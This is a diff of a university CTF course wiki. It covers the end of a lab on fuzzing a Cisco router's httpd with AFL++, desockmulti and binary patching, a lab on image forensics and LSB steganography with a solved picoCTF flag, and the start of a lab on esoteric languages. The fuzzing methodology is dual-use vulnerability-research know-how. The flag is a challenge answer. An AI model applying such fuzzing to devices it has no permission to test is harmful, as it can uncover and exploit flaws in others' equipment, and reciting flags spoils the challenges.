The other change that we need to make is to have httpd process exactly 1 request (unlike a typical web server that processes requests indefinitely) before quitting. This way we can know which request, if any, crashes the web server.

+

To close a socket, httpd calls the close function. There are three locations from where close is called.

+

img

+

Among them, we need to modify the one at 231c0 to call exit(0) instead of close.

+

img

+

To patch the instructions we will use Cutter which is a GUI for radare2. Ghidra also supports patching binaries but Cutter is better suited for this use case.

+

Navigating to 0x231c0 in Cutter, we come across the following disassembly.

+

img

+

Double-clicking on close takes us to 0x106b4.

+

img

+

The exit function is located at 0x10b64.

+

img

+

We can thus change bl close to bl 0x10b64 to call the exit function instead.

+

img

+

The instruction immediately before can be changed from mov r0, sl to eor r0, r0 which sets register r0 to 0 to give us the following disassembly.

+

img

+

The net effect is that it calls exit(0). The other change we need to do is patch out the daemon call at 0x22CB4.

+

img

+

We can change the instruction to eor r0, r0 to make the application believe the call succeeded.

+

img

+

Finally, with the changes in place go to File -> Commit changes to save the modifications. Let's rename the file to httpd_patched.

+

Testing patched httpd

+

Running httpd_patched we can see that it doesn’t fork to the background.

+

img

+

Additionally, it quits after processing a single request as shown below.

+

img

+

Setting up desockmulti

+

We need to use an ARM cross-compiler to compile desockmulti. The armv7-eabihf-uclibc toolchain from bootlin works great for this purpose. We need to use a uclibc-based toolchain as the firmware binaries also use the same. Running the file command on /usr/bin/httpd points out the binary is dynamically linked to ld-uClibc.

+
$ file usr/sbin/httpd
+usr/sbin/httpd: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
+
+

Before compiling desockmulti, we have to make a tiny change to its source.

+
$ git diff
+diff --git a/desockmulti.c b/desockmulti.c
+index 719e6ac..6bcc223 100644
+--- a/desockmulti.c
++++ b/desockmulti.c
+@@ -450,7 +450,7 @@ int socket(int domain, int type, int protocol)
+                pthread_mutex_unlock(&mutex);
+        }
+
+-       setup_timer();
++       //setup_timer();
+
+        if ((fd = original_socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {
+                perror("socket error");
+
+

In desockmulti.c there’s a call to a setup_timer function that needs to be commented out as shown in the diff above.

+

We can then run make specifying the path to the arm-linux-gcc compiler in the CC environment variable.

+
$ make CC=~/armv7-eabihf--uclibc--stable-2020.08-1/bin/arm-linux-gcc      
+
+

The generated file desockmulti.so can be copied to the squashfs-root directory.

+

Testing desockmulti

+

To test that desockmulti is indeed working as expected we can debug httpd with gdb-multiarch. First, we need to add a dependency to the library libpthread.so.0 using patchelf. Patchelf can be installed using apt. This is necessary as desockmulti uses threads while httpd doesn’t link to libpthread by default.

+
$ patchelf --add-needed ./lib/libpthread.so.0 ./usr/sbin/httpd_patched
+
+

In terminal 1, run the binary in qemu specifying the -g parameter.

+
ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ sudo qemu-arm-static -g 5555 -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched
+-p 8080 < ../../base-login-request.txt
+
+

The path to desockmulti.so is specified in the LD_PRELOAD environment variable. The other variable USE_RAW_FORMAT is specific to desockmulti.

+

In another terminal, we can start gdb-multiarch, set a breakpoint on fprintf, and attach it to port 5555.

+
$ gdb-multiarch -q ./usr/sbin/httpd
+GEF for linux ready, type `gef' to start, `gef config' to configure
+95 commands loaded for GDB 9.2 using Python engine 3.8
+[*] 1 command could not be loaded, run `gef missing` to know why.
+Reading symbols from ./usr/sbin/httpd...
+(No debugging symbols found in ./usr/sbin/httpd)
+gef➤  b fprintf
+Breakpoint 1 at 0x10a38
+gef➤  target remote :5555
+…
+gef➤  c
+
+

When the breakpoint on fprintf hits we can press c and continue for a couple of times to finally inspect the contents of the register r2.

+
0xfffe5fa8│+0x0018: 0x30303220  →  0x30303220
+0xfffe5fac│+0x001c: 0x0d6b4f20  →  0x0d6b4f20
+─────────────────────────────────────── code:arm:ARM ────
+   0xff4eb7b8 <fprintf+4>      push   {lr}              ; (str lr,  [sp,  #-4]!)
+   0xff4eb7bc <fprintf+8>      add    r2,  sp,  #8
+   0xff4eb7c0 <fprintf+12>     ldr    r1,  [sp,  #4]
+ → 0xff4eb7c4 <fprintf+16>     bl     0xff4ee024 <vfprintf>
+   ↳  0xff4ee024 <vfprintf+0>     push   {r4,  r5,  r6,  r7,  r8,  lr}
+      0xff4ee028 <vfprintf+4>     mov    r5,  r0
+      0xff4ee02c <vfprintf+8>     ldr    r6,  [r0,  #76]        ; 0x4c
+      0xff4ee030 <vfprintf+12>    ldr    r12,  [pc,  #144]      ; 0xff4ee0c8 <vfprintf+164>
+      0xff4ee034 <vfprintf+16>    cmp    r6,  #0
+      0xff4ee038 <vfprintf+20>    add    r12,  pc,  r12
+──────────────────────────────────── arguments (guessed) ────
+vfprintf (
+   $r0 = 0x000be3c0 → 0xff006085 → 0xff006085,
+   $r1 = 0x00093f5c → 0x00007325 → 0x00007325,
+   $r2 = 0xfffe5f98 → 0xfffe5fa0 → 0x50545448 → 0x50545448,
+   $r3 = 0x000006c8 → 0x000006c8
+)
+────────────────────────────────────────────── threads ────
+[#0] Id 1, stopped 0xff4eb7c4 in fprintf (), reason: BREAKPOINT
+───────────────────────────────────────────── trace ────
+[#0] 0xff4eb7c4 → fprintf()
+[#1] 0x1dd5c → add sp,  sp,  #1004      ; 0x3ec
+───────────────────────────────────────────────────────────
+gef➤  x/s *$r2
+0xfffe5fa0:     "HTTP/1.1 200 Ok\r\n"
+
+

R2 points to a readable string "HTTP/1.1 200 Ok\r\n" which is the first line of a typical HTTP response. This indicates that desockmulti is working. We are not able to see the HTTP response on-screen but nevertheless, it's working as intended.

+

At this point we can start fuzzing httpd_patched however, we can further make quality-of-life improvements. For example, the binary requires root to run. It prints the following error message if started without root.

+
ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ qemu-arm-static -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched -p 8080 < ../../base-login-request.txt
+===>HTTPD : scheduler set RR with proirity = 99 FAILED
+--- [1640588459:322474] accept_num=1, connect_num=0
+--- [1640588459:323006] Get pkt, sockindex=0, length=943, pkt[0]=80
++++ [1640588459:323333] Intercepted socket()! original type=AF_INET6 fd=4
+--- [1640588459:323785] preeny socket bound, Emulating bind on port 8080
+--- [1640588459:324011] preeny listen called, accepting connections ...
+--- [1640588459:324223] preeny connect_write for serverfd=4 started
+--- [1640588459:324466] preeny connect succeeds, write for serverfd=4, client sock index=0
+--- [1640588459:324778] preeny write a 943 bytes packet, client socket index = 0, client sockfd=5
+--- [1640588459:325074] preeny connection for serverfd=4 client sockfd=5 shutdown
+--- [1640588459:325151] pthread_created or directly called for preeny_connect_write, accept_done_num 1, selected_fd_index 0  
++++ [1640588459:325246] Intercepted socket()! original type=AF_INET6 fd=6
+--- [1640588459:325334] preeny socket bound, Emulating bind on port 8080
+--- [1640588459:325393] preeny listen called, accepting connections ...
++++ [1640588459:325488] Intercepted socket()! original type=AF_INET fd=7
+--- [1640588459:325725] preeny socket bound, Emulating bind on port 8080
+--- [1640588459:325747] preeny listen called, accepting connections ...
++++ [1640588459:325976] Intercepted socket()! original type=AF_INET fd=8
+--- [1640588459:326095] preeny socket bound, Emulating bind on port 81       
+--- [1640588459:326118] preeny listen called, accepting connections ...      
++++ [1640588459:326480] Intercepted socket()! original type=AF_INET6 fd=9    
+--- [1640588459:329767] preeny socket bound, Emulating bind on port 81       
+--- [1640588459:329820] preeny listen called, accepting connections ...      
+/var/run/httpd.pid: Permission denied
++++ [1640588459:330676] shutting down desockmulti...
++++ [1640588459:330844] ... shutdown complete!
+
+

It fails on trying to access /var/run/httpd.pid. We can patch the binary and change the path to something which doesn’t require root privilege to access. This can be done using a hex editor and also with Cutter.

+

img

+

We can change /var/run/httpd.pid to /home/ubuntu/h.pid and save. The new path is located under the home directory and can be accessed without root. It’s also important to note the length of the replacement string must be less than or equal to the original.

+

img

+

Rerunning httpd_patched we can see it doesn’t show the permission denied error anymore.

+
ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ qemu-arm-static -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched -p 8080 < ../../base-login-request.txt
+===>HTTPD : scheduler set RR with proirity = 99 FAILED
+--- [1640594090:533269] accept_num=1, connect_num=0
+--- [1640594090:533738] Get pkt, sockindex=0, length=943, pkt[0]=80
++++ [1640594090:533930] Intercepted socket()! original type=AF_INET6 fd=4
+--- [1640594090:534277] preeny socket bound, Emulating bind on port 8080
+--- [1640594090:534400] preeny listen called, accepting connections ...
+--- [1640594090:534562] preeny connect_write for serverfd=4 started
+--- [1640594090:534704] preeny connect succeeds, write for serverfd=4, client sock index=0
+--- [1640594090:534880] preeny write a 943 bytes packet, client socket index = 0, client sockfd=5
+--- [1640594090:535045] preeny connection for serverfd=4 client sockfd=5 shutdown
+--- [1640594090:535144] pthread_created or directly called for preeny_connect_write, accept_done_num 1, selected_fd_index 0
++++ [1640594090:535228] Intercepted socket()! original type=AF_INET6 fd=6
+--- [1640594090:535283] preeny socket bound, Emulating bind on port 8080
+--- [1640594090:535316] preeny listen called, accepting connections ...
++++ [1640594090:535359] Intercepted socket()! original type=AF_INET fd=7
+--- [1640594090:535389] preeny socket bound, Emulating bind on port 8080
+--- [1640594090:535404] preeny listen called, accepting connections ...
++++ [1640594090:535432] Intercepted socket()! original type=AF_INET fd=8
+--- [1640594090:535478] preeny socket bound, Emulating bind on port 81
+--- [1640594090:535511] preeny listen called, accepting connections ...
++++ [1640594090:535559] Intercepted socket()! original type=AF_INET6 fd=9
+--- [1640594090:535601] preeny socket bound, Emulating bind on port 81
+--- [1640594090:535632] preeny listen called, accepting connections ...
+--- [1640594090:537111] Accept socket at serverfd=4, got fd=10, accept_sock_num=1.
++++ [1640594090:550073] shutting down desockmulti...
++++ [1640594090:550229] ... shutdown complete!
+
+

Additionally, the file h.pid is created within the user's home directory.

+
$ ls -la /home/ubuntu/h.pid
+-rw-rw-r-- 1 ubuntu ubuntu 4 Dec 27 08:34 /home/ubuntu/h.pid
+
+

Fuzzing httpd

+

We can now finally proceed to fuzz the patched httpd binary. We need to create two directories: input-httpd and output-httpd. The former will contain the file base-login-request.txt which AFL++ will use to generate further test cases.

+
ubuntu@fuzz:~/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ QEMU_LD_PREFIX=.. QEMU_SET_ENV=USE_RAW_FORMAT=1,LD_PRELOAD=../desockmulti.so ../../../AFLplusplus/afl-fuzz -Q -i ../../input-httpd/ -o ../../output-httpd/ -- ../usr/sbin/httpd_patched -p 8080
+
+

img

+

We can leave the fuzzer as is to continue fuzzing. To quit press Ctrl+C anytime. In our brief test, AFL++ wasn’t able to crash the application.

+

With this, we come to the end of the two-part AFL fuzzing series. In the first part, we saw how to fuzz simple binaries which accepted input from a file. They required no modifications and were straightforward to fuzz. In this part, we learned how to convert a socketed binary to accept input from a file instead. This required patching the binary on an assembly level and using LD_PRELOAD further to override libc functions. We also saw how to use radamsa to generate test cases as a crude way to fuzz. There is no universal technique that can be applied as-is to fuzz any given closed IoT firmware binary. It will vary on a case-by-case basis but the idea is similar. For any comments, questions or suggestions feel free to leave a comment below.

+

Reference

+

Barun (2022) Fuzzing IOT binaries with AFL++ - part I, Attify Blog - IoT Security, Pentesting and Exploitation. Attify Blog - IoT Security, Pentesting and Exploitation. Available at: https://blog.attify.com/fuzzing-iot-devices-part-1/ (Accessed: October 31, 2022).

+

Barun (2022) Fuzzing IOT binaries with AFL++ - part II, Attify Blog - IoT Security, Pentesting and Exploitation. Attify Blog - IoT Security, Pentesting and Exploitation. Available at: https://blog.attify.com/fuzzing-iot-binaries-with-afl-part-ii/ (Accessed: October 31, 2022).

+

Assignment

+

(1 - easy) liar

+

Give me some number:

+

http://116.7.234.225/files/7a4de0b926cda8e43285c4373b68cd23/liar

+

(2 - easy) ezreverse

+

Give me some string with lowercase letter and number

+

http://116.7.234.225/files/5fbc944afb51241104f3b95605de2436/ezreverse

+

(3 - easy) LuckyGuess

+

Hook the binary

+

http://116.7.234.225/files/ffdaed751038587f1ea6a9c9552b0452/LuckyGuess

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 7 Forensics and Steganography Part I/index.html b/CS315/Lab 7 Forensics and Steganography Part I/index.html new file mode 100644 index 000000000..445b52b38 --- /dev/null +++ b/CS315/Lab 7 Forensics and Steganography Part I/index.html @@ -0,0 +1,8816 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 7: Forensics and Steganography Part I - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 7: Forensics and Steganography Part I

+
+

bi0s wiki: https://teambi0s.gitlab.io/bi0s-wiki/

+
+

img

+

Introduction

+

What is Cyber Forensics?

+

Cyber Forensics is a science that deals with techniques used to track the footprints left behind by a cyber attack. Cyber forensics is directly linked to any cybercrime which has data loss and recovery. Some examples include investigation on possible forged digital signatures, the authenticity of images, analysis of malicious software, etc.

+

Quote

+

Cyber Forensics is a science that deals with techniques used to track the footprints left behind by a cyber attack.

+

Let us go into more detail about the definition from a CTF perspective. Any Capture The Flag contest usually has three prime categories of digital forensics. They are:

+ +

Scope of Forensics

+

When we talk about employment, research, or anything, Cyber Forensics is one of the prime areas which comes into a security analyst's mind. Forensics is strongly employed in Incident Response, Malware Analysis, and Data leak protection. To sum it up, every cybercrime is always related to cyber forensics.

+

To understand this, let us look into a very dangerous virus attack that almost started world war III. Stuxnet was a virus that was found lurking in the systems which controlled nuclear centrifuges in Iran. Stuxnet had a stolen yet officially authorized digital signature which acted as a very good camouflage. Stuxnet made the windows systems constantly reboot or lead them to Blue Screen of Death. Stuxnet could easily affect any computer which was linked to the network. It was really difficult for security experts to trace it. It severely affected the SCADA systems which were employed in maintaining the rotation speed of the centrifuges. After heavy investigation, when several forensic analysts looked into the SCADA network transfer, they found a malicious program being run that altered the system processes. The main aspect which made Stuxnet almost invisible was that it became active only when its target was present or being run. Until then the virus remained dormant. So as you can see, Cyber forensics played a huge role in the detection of the virus.

+

Let us look at the trend of cyber-attacks based on the analysis from January 2017-2018:

+

Some handy definitions:

+
    +
  1. Cyber Espionage: Use of computer networks to get access to confidential information held by important organizations.
  2. +
  3. Hacktivism: Act of hacking which is mainly done for a political purpose.
  4. +
  5. Cyber Warfare: Cyber attacks are done on state organizations to gain military secrets etc.
  6. +
+

alt text Cyber crimes are at 77% in 2017

+

Now let us look at January 2018: alt text

+

So as you can see, the percentage has increased at an alarming rate.

+

So, folks, I hope you understand just how important cyber forensics is in the current world of cybersecurity.

+

Image Forensics

+

Introduction

+

What is Image Forensics?

+

To keep it very simple and straight, Image Forensics is a specific branch of cyber forensics that deals with various numbers of attacks.

+

Some of them include:

+
    +
  1. The authenticity of an image
  2. +
  3. When we speak of authenticity, we are talking about whether the image is properly structured or not. Sometimes the data preserved inside may tamper with. Forensic analysts are required to recover this tampered data to its original state.
  4. +
  5. Detection of possible forgeries etc.
  6. +
  7. Detecting forgeries of images is a really big thing in the tech industry because many confidential images or files may be stolen or unlawfully used for criminal purposes.
  8. +
+

So let us look into some of the very basic definitions of the technical terms used in this field to better understand the upcoming topics.

+

File Signature

+

A typical file signature is something that defines the nature of a file and also tells us about the specific features of the particular file. This is also called the file header or sometimes the checksum.

+

So let us look at some examples:

+
    +
  1. PNG -> 89 50 4E 47 0D 0A 1A 0A
  2. +
  3. ZIP FILE -> 50 4B 03 04 or 50 4B 05 06
  4. +
+

The 'hex' values shown are also called magic numbers.

+

Chunks

+

Chunks are nothing but fragments of information used by different multimedia formats like PNG, MP3, etc. Each chunk has its header. The header usually describes the type and size of the chunk.

+

img

+

How important are chunks ?

+

So let us consider that you are trying to open an image using an MP3 player. Will the player open the image? No, right. It'll give me an error message. Every application has a decoder that checks the type of chunks given. When it recognizes that the given chunks are supported, it tries to give the desired output. So whenever it comes across chunks of unknown format, it triggers an error message stating "Unsupported File Format"

+

Checksum

+

The checksum is an integer value that represents the sum of correct digits in a piece of data. Checksums help us to check the data integrity of a file that is transmitted across the digital network. There are many checksum algorithms. Checksum algorithms are employed in various cybersecurity concepts like fingerprinting, cryptographic hash functions, etc.

+

Lossless Compression

+

The name itself tells that there will be no loss of information when a set of data is compressed. the lossless compression technique is used for reducing the data size for storage. For example, png is a lossless compression and the advantage of a lossless compression file format is that there is no loss of quality each time it is opened or saved.

+

Lossy Compression

+

In lossy compression, it involves loss of information from the original file when data is compressed. Lossy compression can result in a smaller size of the file but it also removes some original pixels, video frames, and sound waves forever. For example, JPEG is a lossy compression and the disadvantage is that each time the image is saved it loses some amount of data and which simultaneously degrades the image quality.

+

Metadata Of An Image:

+

Image metadata is a piece of text information that gives information about the details associated with the image. Some of these details are + Size and resolution + The author of the image + The GPS data of this image + The time when the image was taken, the last modification, etc.

+

So now let us look at the file format of a PNG image:

+

Portable Network Graphics (PNG)

+

A PNG is a graphical file format of an image that supports lossless compression.

+

Magic Number -> 89 50 4E 47 0D 0A 1A 0A

+

img So now let us look at the critical chunks of a PNG image:

+

Critical chunks

+

IHDR -> Describes image dimensions, color type, bit depth, etc. It must be noted that this must be the first chunk (always).

+

PLTE -> Contains the list of colors.

+

IDAT -> Contains the image data.

+

IEND -> Marks the end of the image.

+

Ancillary chunks

+

Ancillary chunks can be otherwise called optional chunks. These are the chunks that are generally ignored by decoders. Let us look at some examples:

+

bKGD -> Gives the default background color.

+

dSIG -> This chunk is used to store the digital signature of the image.

+

pHYS -> Holds the pixel size and the ratio of dimensions of the image.

+

All the ancillary chunks start with a small letter.

+

Executable and Linkable Format (ELF)

+

The ELF file format is a standard file format for executables, object codes, core dumps, etc. for any UNIX-based system.

+

Magic Number -> 7F 45 4c 46

+

The file header of an ELF file defines whether to use 32-bit or 64-bit addresses. ELF files are generally analyzed using a tool called readelf.

+

ZIP

+

Zip is a file format that supports lossless data compression. This file format achieves the compression of a file(s) using several compression algorithms. DEFLATE is the most used compression algorithm. Zip files have the file extension .zip or .ZIP.

+

Magic Number -> 50 4B 03 04 and 50 4B 05 06(for empty zip files)

+

img

+

Zip files can be extracted using this command in the terminal.

+
$ unzip file_name.zip
+
+

Least Significant Bit Encoding

+

Definition

+

What is LSB ?

+

LSB, the least significant bit is the lowest in a series of numbers in binary; which is located at the far right of a string. For example, in the binary number: 10111001, the least significant bit is the far right 1.

+

As binary numbers are largely used in computing and other related areas, wherein the least significant bit holds importance, especially when it comes to the transmission of binary numbers.

+

Digital data is computed in binary format, where the rightmost digit is considered the lowest digit whereas the leftmost is considered the highest digit. In positional notation, the least significant bit is also known as the rightmost bit. It is the opposite of the most significant bit, which carries the highest value in a multiple-bit binary number as well as the number which is farthest to the right. In a multi-bit binary number, the significance of a bit decreases as it approaches the least significant bit. Since it is binary, the most significant bit can be either 1 or 0. The least significant bit is frequently employed in hash functions, checksums, and pseudorandom number generators.

+

When transmission of binary data is being done, the least significant bit is the one that is transmitted first, followed by other bits of increasing significance.

+

The number of image pixels in a PNG file is generally composed of RGB three primary colors (red, green, and blue). Each color occupies 8 bits, and the value ranges from 0x00 to 0xFF, that is, there are 256 colors, which contain a total of 256 to the third power. Thus there are 16777216 colors in total.

+

The human eye can distinguish about 10 million different colors, which means that the human eye can't distinguish the remaining 6 million colors. LSB steganography is to modify the lowest binary bit (LSB) of RGB color components, each color will have 8 bits, LSB steganography is to modify the lowest bit in the number of pixels, and human eyes will not notice before and after this change, each pixel can carry 3 bits of information.

+

Example

+

PicoCTF_2017: Little School Bus

+

Description:

+

Can you help me find the data in this Little-School-Bus?

+

Hint:

+

Look at least a significant bit of encoding!!

+
Solution
+

As the Hint suggests the problem is related to LSB Encoding, The leftmost digit in binary is called the LSB digit

+

As mentioned earlier LSB encoding is done by changing the LSB bit of the color, however, this slight variation is not noticeable. Thus by changing the LSB bit, we can hide data inside a file.

+
xxd -b ./littleschoolbus.bmp | head -n 20
+
+

Gives,

+
00000000: 01000010 01001101 11100010 01001011 00000010 00000000  BM.K...
+00000006: 00000000 00000000 00000000 00000000 00110110 00000000  ....6.
+0000000c: 00000000 00000000 00101000 00000000 00000000 00000000  ..(...
+00000012: 11111100 00000000 00000000 00000000 11000111 00000000  ......
+00000018: 00000000 00000000 00000001 00000000 00011000 00000000  ......
+0000001e: 00000000 00000000 00000000 00000000 10101100 01001011  .....K
+00000024: 00000010 00000000 00000000 00000000 00000000 00000000  ......
+0000002a: 00000000 00000000 00000000 00000000 00000000 00000000  ......
+00000030: 00000000 00000000 00000000 00000000 00000000 00000000  ......
+00000036: 11111110 11111111 11111111 11111110 11111110 11111111  ......
+0000003c: 11111111 11111110 11111110 11111111 11111111 11111110  ......
+00000042: 11111111 11111111 11111110 11111110 11111110 11111111  ......
+00000048: 11111111 11111110 11111110 11111110 11111110 11111111  ......
+0000004e: 11111110 11111111 11111111 11111110 11111110 11111111  ......
+00000054: 11111111 11111111 11111110 11111111 11111111 11111111  ......
+0000005a: 11111111 11111110 11111111 11111111 11111110 11111111  ......
+00000060: 11111111 11111111 11111110 11111110 11111111 11111110  ......
+00000066: 11111110 11111111 11111111 11111110 11111110 11111111  ......
+0000006c: 11111110 11111111 11111110 11111111 11111111 11111110  ......
+00000072: 11111111 11111111 11111110 11111111 11111110 11111111  ......
+
+

Taking the LSB bit after the many zeros,

+
00000036: 11111110 11111111 11111111 11111110 11111110 11111111  ......
+0000003c: 11111111 11111110 11111110 11111111 11111111 11111110  ......
+00000042: 11111111 11111111 11111110 11111110 11111110 11111111  ......
+00000048: 11111111 11111110 11111110 11111110 11111110 11111111  ......
+
+

8 bit gives

+
01100110 01101100
+
+

Which in ASCII is fl?

+

Now we script,

+
binary_data = open("littleschoolbus.bmp","rb") # Open the file binary mode
+binary_data.seek(54)  #seek to 54 bytes these bytes do not contain any data
+data = binary_data.read() # read the binary data
+l = []
+for i in data:
+    l.append(bin(i)[-1])  #make a list of LSB bit
+for i in range(0,500,8):
+    print(chr(int(''.join(l[i:i+8]),2)),end='') # print the character
+
+

Which gives the flag !!

+

flag{remember_kids_protect_your_headers_afb3}

+
Footnote :
+
    +
  1. LSB
  2. +
  3. Python Binary File I/O
  4. +
+

Assignment

+

Let's play with some real CTF challenges!

+
+

Buckeye CTF 2022

+
+

(1 - easy) what-you-see-is-what-you-git

+

Author: matthewa26

+

I definitely made a Git repo, but I somehow broke it. Something about not getting a HEAD of myself.

+

Downloads: what-you-see-is-what-you-git

+

(2 - easy) sus

+

Author: gsemaj

+

Something about this audio is pretty sus...

+

Hint: The crackling in the audio should tell you that something's wrong.

+

Downloads: sus.wav

+

(3 - medium) keyboardwarrior

+

Author: v0rtex

+

I found a PCAP of some Bluetooth packets being sent on this guy's computer. He's sending some pretty weird stuff, you should take a look.

+

Flag format: buckeyectf{x}

+

Downloads: keyboardwarrior

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 8 Forensics and Steganography Part II/index.html b/CS315/Lab 8 Forensics and Steganography Part II/index.html new file mode 100644 index 000000000..2cd0cdbf6 --- /dev/null +++ b/CS315/Lab 8 Forensics and Steganography Part II/index.html @@ -0,0 +1,9292 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 8: Forensics and Steganography Part II - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 8: Forensics and Steganography Part II

+
+

From https://github.com/thezakman/CTF-Heaven

+

By TheZakMan | March 12st, 2021

+

Contents are modified with details

+
+

Esoteric Languages

+

https://tio.run/

+

An online tool that has a ton of Esoteric language interpreters.

+

Some of the languages are regular programming languages, but some of them are esoteric.

+

Brainfuck

+

This language is easily detectable by its huge use of plus signs, braces, and arrows. There are plenty of online interpreters, like this one: https://copy.sh/brainfuck/ Some example code:

+
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.-----------
+--.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.-------------
+--.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++
+.<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++.
+
+

The language consists of eight commands, listed below. A brainfuck program is a sequence of these commands, possibly interspersed with other characters (which are ignored). The commands are executed sequentially, with some exceptions: an instruction pointer begins at the first command, and each command it points to is executed, after which it normally moves forward to the next command. The program terminates when the instruction pointer moves past the last command.

+

The brainfuck language uses a simple machine model consisting of the program and instruction pointer, as well as a one-dimensional array of at least 30,000 byte cells initialized to zero; a movable data pointer (initialized to point to the leftmost byte of the array); and two streams of bytes for input and output (most often connected to a keyboard and a monitor respectively, and using the ASCII character encoding).

+

Commands

+

The eight language commands each consist of a single character:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CharacterMeaning
>Increment the data pointer (to point to the next cell to the right).
<Decrement the data pointer (to point to the next cell to the left).
+Increment (increase by one) the byte at the data pointer.
-Decrement (decrease by one) the byte at the data pointer.
.Output the byte at the data pointer.
,Accept one byte of input, storing its value in the byte at the data pointer.
[If the byte at the data pointer is zero, then instead of moving the instruction pointer forward to the next command, jump it forward to the command after the matching ] command.
]If the byte at the data pointer is nonzero, then instead of moving the instruction pointer forward to the next command, jump it back to the command after the matching [ command.
+

(Alternatively, the ] command may instead be translated as an unconditional jump to the corresponding [ command, or vice versa; programs will behave the same but will run more slowly, due to unnecessary double searching.)

+

[ and ] match as parentheses usually do: each [ matches exactly one ] and vice versa, the [ comes first, and there can be no unmatched [ or ] between the two.

+

Brainfuck programs can be translated into C using the following substitutions, assuming ptr is of type char* and has been initialized to point to an array of zeroed bytes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
brainfuck commandC equivalent
(Program Start)char array[30000] = {0}; char *ptr = array;
>++ptr;
<--ptr;
+++*ptr;
---*ptr;
.putchar(*ptr);
,*ptr = getchar();
[while (*ptr) {
]}
+

As the name suggests, Brainfuck programs tend to be difficult to comprehend. This is partly because any mildly complex task requires a long sequence of commands and partly because the program's text gives no direct indications of the program's state. These, as well as Brainfuck's inefficiency and its limited input/output capabilities, are some of the reasons it is not used for serious programming. Nonetheless, like any Turing complete language, Brainfuck is theoretically capable of computing any computable function or simulating any other computational model, if given access to an unlimited amount of memory.[8] A variety of Brainfuck programs have been written.[9] Although Brainfuck programs, especially complicated ones, are difficult to write, it is quite trivial to write an interpreter for Brainfuck in a more typical language such as C due to its simplicity. There even exist Brainfuck interpreters written in the Brainfuck language itself.[10][11]

+

Brainfuck is an example of a so-called Turing tarpit: It can be used to write any program, but it is not practical to do so, because Brainfuck provides so little abstraction that the programs get very long or complicated.

+

Malboge

+

An esoteric language that looks a lot like Base85... but isn't. Often has references to "Inferno" or "Hell" or "Dante." Online interpreters like so: http://www.malbolge.doleczek.pl/ Example code:

+
(=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc
+
+

Malbolge is machine language for a ternary virtual machine, the Malbolge interpreter.

+

The standard interpreter and the official specification do not match perfectly.[11] One difference is that the compiler stops execution with data outside the 33–126 range. Although this was initially considered a bug in the compiler, Ben Olmstead stated that it was intended and there was in fact "a bug in the specification".[2]

+

Registers

+

Malbolge has three registers, a, c, and d. When a program starts, the value of all three registers is zero.

+

a stands for 'accumulator', set to the value written by all write operations on memory and used for standard I/O. c, the code pointer, is special: it points to the current instruction.[12] d is the data pointer. It is automatically incremented after each instruction, but the location it points to is used for the data manipulation commands.

+

Pointer notation

+

d can hold a memory address; [d] is register indirect; the value stored at that address. [c] is similar.

+

Memory

+

The virtual machine has 59,049 (310) memory locations that can each hold a ten-trit ternary number. Each memory location has an address from 0 to 59048 and can hold a value from 0 to 59048. Incrementing past this limit wraps back to zero.

+

The language uses the same memory space for both data and instructions. This was influenced by how hardware such as x86 architecture worked.[2]

+

Before a Malbolge program starts, the first part of memory is filled with the program. All whitespace in the program is ignored and, to make programming more difficult, everything else in the program must start out as one of the instructions below.

+

The rest of memory is filled by using the crazy operation (see below) on the previous two addresses ([m] = crz [m - 2], [m - 1]). Memory filled this way will repeat every twelve addresses (the individual ternary digits will repeat every three or four addresses, so a group of ternary digits is guaranteed to repeat every twelve).

+

In 2007, Ørjan Johansen created Malbolge Unshackled, a version of Malbolge which does not have the arbitrary memory limit. The hope was to create a Turing-complete language while keeping as much in the spirit of Malbolge as possible. No other rules are changed, and all Malbolge programs that do not reach the memory limit are completely functional.[13]

+

Instructions

+

Malbolge has eight instructions. Malbolge figures out which instruction to execute by taking the value [c], adding the value of c to it, and taking the remainder when this is divided by 94. The final result tells the interpreter what to do:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Value of ([c] + c) % 94Instruction representedExplanation
